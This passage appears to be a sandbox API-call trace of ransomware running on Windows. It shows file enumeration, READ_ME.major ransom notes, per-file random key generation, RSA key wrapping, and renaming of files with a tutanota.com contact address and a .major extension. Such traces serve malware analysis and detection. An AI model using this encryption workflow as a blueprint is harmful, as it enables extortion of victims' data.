nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.235] SetLastError (dwErrCode=0x12) [0205.235] GetLastError () returned 0x12 [0205.235] SetLastError (dwErrCode=0x12) [0205.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0205.235] SetLastError (dwErrCode=0x12) [0205.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605d0 [0205.235] FindNextFileW (in: hFindFile=0x2f30018, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3172bf8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3172bf8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3172bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6650e8 [0205.235] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9146357c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223fba5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2f998 [0205.235] SetLastError (dwErrCode=0x12) [0205.235] GetLastError () returned 0x12 [0205.236] SetLastError (dwErrCode=0x12) [0205.236] GetLastError () returned 0x12 [0205.236] SetLastError (dwErrCode=0x12) [0205.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be630 [0205.236] FindNextFileW (in: hFindFile=0x2f2f998, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9146357c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223fba5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.236] SetLastError (dwErrCode=0x12) [0205.236] GetLastError () returned 0x12 [0205.236] SetLastError (dwErrCode=0x12) [0205.236] GetLastError () returned 0x12 [0205.236] SetLastError (dwErrCode=0x12) [0205.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be420 [0205.236] FindNextFileW (in: hFindFile=0x2f2f998, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317521b3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x317521b3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.236] SetLastError (dwErrCode=0x12) [0205.236] GetLastError () returned 0x12 [0205.236] SetLastError (dwErrCode=0x12) [0205.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0205.236] SetLastError (dwErrCode=0x12) [0205.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605d0 [0205.236] FindNextFileW (in: hFindFile=0x2f2f998, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317521b3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x317521b3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665020 [0205.236] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91299917, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2240475, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fbd8 [0205.237] SetLastError (dwErrCode=0x12) [0205.237] GetLastError () returned 0x12 [0205.237] SetLastError (dwErrCode=0x12) [0205.237] GetLastError () returned 0x12 [0205.237] SetLastError (dwErrCode=0x12) [0205.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be318 [0205.237] FindNextFileW (in: hFindFile=0x2f2fbd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91299917, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2240475, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.237] SetLastError (dwErrCode=0x12) [0205.237] GetLastError () returned 0x12 [0205.237] SetLastError (dwErrCode=0x12) [0205.237] GetLastError () returned 0x12 [0205.237] SetLastError (dwErrCode=0x12) [0205.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be580 [0205.237] FindNextFileW (in: hFindFile=0x2f2fbd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317521b3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x317521b3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.237] SetLastError (dwErrCode=0x12) [0205.237] GetLastError () returned 0x12 [0205.237] SetLastError (dwErrCode=0x12) [0205.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e300 [0205.237] SetLastError (dwErrCode=0x12) [0205.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605d0 [0205.238] FindNextFileW (in: hFindFile=0x2f2fbd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317521b3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x317521b3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6643a0 [0205.238] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9130c033, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2240caa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fa18 [0205.238] SetLastError (dwErrCode=0x12) [0205.238] GetLastError () returned 0x12 [0205.238] SetLastError (dwErrCode=0x12) [0205.238] GetLastError () returned 0x12 [0205.238] SetLastError (dwErrCode=0x12) [0205.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be210 [0205.238] FindNextFileW (in: hFindFile=0x2f2fa18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9130c033, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2240caa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.238] SetLastError (dwErrCode=0x12) [0205.238] GetLastError () returned 0x12 [0205.238] SetLastError (dwErrCode=0x12) [0205.238] GetLastError () returned 0x12 [0205.238] SetLastError (dwErrCode=0x12) [0205.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be318 [0205.238] FindNextFileW (in: hFindFile=0x2f2fa18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317521b3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x317521b3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.238] SetLastError (dwErrCode=0x12) [0205.238] GetLastError () returned 0x12 [0205.239] SetLastError (dwErrCode=0x12) [0205.239] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dc10 [0205.239] SetLastError (dwErrCode=0x12) [0205.239] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605d0 [0205.239] FindNextFileW (in: hFindFile=0x2f2fa18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317521b3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x317521b3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.239] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665728 [0205.239] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9154838f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7138b2cd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fc18 [0205.239] SetLastError (dwErrCode=0x12) [0205.239] GetLastError () returned 0x12 [0205.239] SetLastError (dwErrCode=0x12) [0205.239] GetLastError () returned 0x12 [0205.239] SetLastError (dwErrCode=0x12) [0205.239] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.239] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be630 [0205.239] FindNextFileW (in: hFindFile=0x2f2fc18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9154838f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7138b2cd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.239] SetLastError (dwErrCode=0x12) [0205.239] GetLastError () returned 0x12 [0205.239] SetLastError (dwErrCode=0x12) [0205.239] GetLastError () returned 0x12 [0205.239] SetLastError (dwErrCode=0x12) [0205.239] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.240] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bec08 [0205.240] FindNextFileW (in: hFindFile=0x2f2fc18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317521b3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x317521b3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.240] SetLastError (dwErrCode=0x12) [0205.240] GetLastError () returned 0x12 [0205.240] SetLastError (dwErrCode=0x12) [0205.240] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0205.240] SetLastError (dwErrCode=0x12) [0205.240] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605d0 [0205.240] FindNextFileW (in: hFindFile=0x2f2fc18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9162d1b2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9162d1b2, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x9162d1b2, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0205.240] SetLastError (dwErrCode=0x12) [0205.240] GetLastError () returned 0x12 [0205.240] SetLastError (dwErrCode=0x12) [0205.240] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e678 [0205.240] SetLastError (dwErrCode=0x12) [0205.240] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605d0 [0205.240] FindNextFileW (in: hFindFile=0x2f2fc18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9162d1b2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6f3e6702, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xda2ea5f5, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0205.240] SetLastError (dwErrCode=0x12) [0205.240] GetLastError () returned 0x12 [0205.240] SetLastError (dwErrCode=0x12) [0205.240] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0205.240] SetLastError (dwErrCode=0x12) [0205.240] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605d0 [0205.240] FindNextFileW (in: hFindFile=0x2f2fc18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xda0ae1c0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xda0ae1c0, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xda0ae1c0, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0205.240] SetLastError (dwErrCode=0x12) [0205.241] GetLastError () returned 0x12 [0205.241] SetLastError (dwErrCode=0x12) [0205.241] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dae8 [0205.241] SetLastError (dwErrCode=0x12) [0205.241] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.241] FindNextFileW (in: hFindFile=0x2f2fc18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xda0ae1c0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xda0ae1c0, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xda0ae1c0, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0205.241] SetLastError (dwErrCode=0x12) [0205.241] GetLastError () returned 0x12 [0205.241] SetLastError (dwErrCode=0x12) [0205.241] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0205.241] SetLastError (dwErrCode=0x12) [0205.241] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.241] FindNextFileW (in: hFindFile=0x2f2fc18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xda0ae1c0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xda0ae1c0, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xda0ae1c0, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0205.241] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0205.241] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605d0 [0205.241] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.241] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0205.242] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661bf0 [0205.242] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0205.242] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1394 [0205.243] GetFileSizeEx (in: hFile=0x1394, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0205.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0205.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0205.243] ReadFile (in: hFile=0x1394, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.243] SetFilePointer (in: hFile=0x1394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.243] WriteFile (in: hFile=0x1394, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.243] SetFilePointer (in: hFile=0x1394, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0205.243] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.243] WriteFile (in: hFile=0x1394, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.244] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.244] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.244] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.244] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.244] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="orO5oucgz1jtfJ2bH9B/jCK5N8CqA3rJ2w6TD2rjscuvAq+oY+pXgdrU1c3dcJyR\nsWTzn0MzmV5drzBBo56pvu1gXeC5Rey532MFaWCM/7gZdE5c5RFuuXlzi1OeHsHW\nVAva1nvKXsG35vuss9hl/QudKpbakUjlQp58YHtKjglsZxuDL3iGQBRJ5knTnkVy\nqkxmURLbRSNi99nuqxS//GNp+8lyMkNX6tzjVvA6zZ6NifMS85DUfrhId0FmWkWZ\nLdUeJwy7MSZ2zI0o3nm107IEsjwXDrDl56dyoFfgrQElpPr8cfBd33Apeu7DkWUh\nTJIu+mon2MVHMTUYbCpXZg==\n", pcchString=0x2e3f9a8) returned 1 [0205.244] WriteFile (in: hFile=0x1394, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.245] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.245] WriteFile (in: hFile=0x1394, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.245] CloseHandle (hObject=0x1394) returned 1 [0205.245] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\settings\\settings.dat.log2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat.LOG2.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\settings\\settings.dat.log2.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0205.249] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.249] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0205.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6631b0 [0205.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0205.250] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1394 [0205.250] GetFileSizeEx (in: hFile=0x1394, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0205.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f998f0 [0205.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f958e0 [0205.251] ReadFile (in: hFile=0x1394, lpBuffer=0x2f998f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.485] 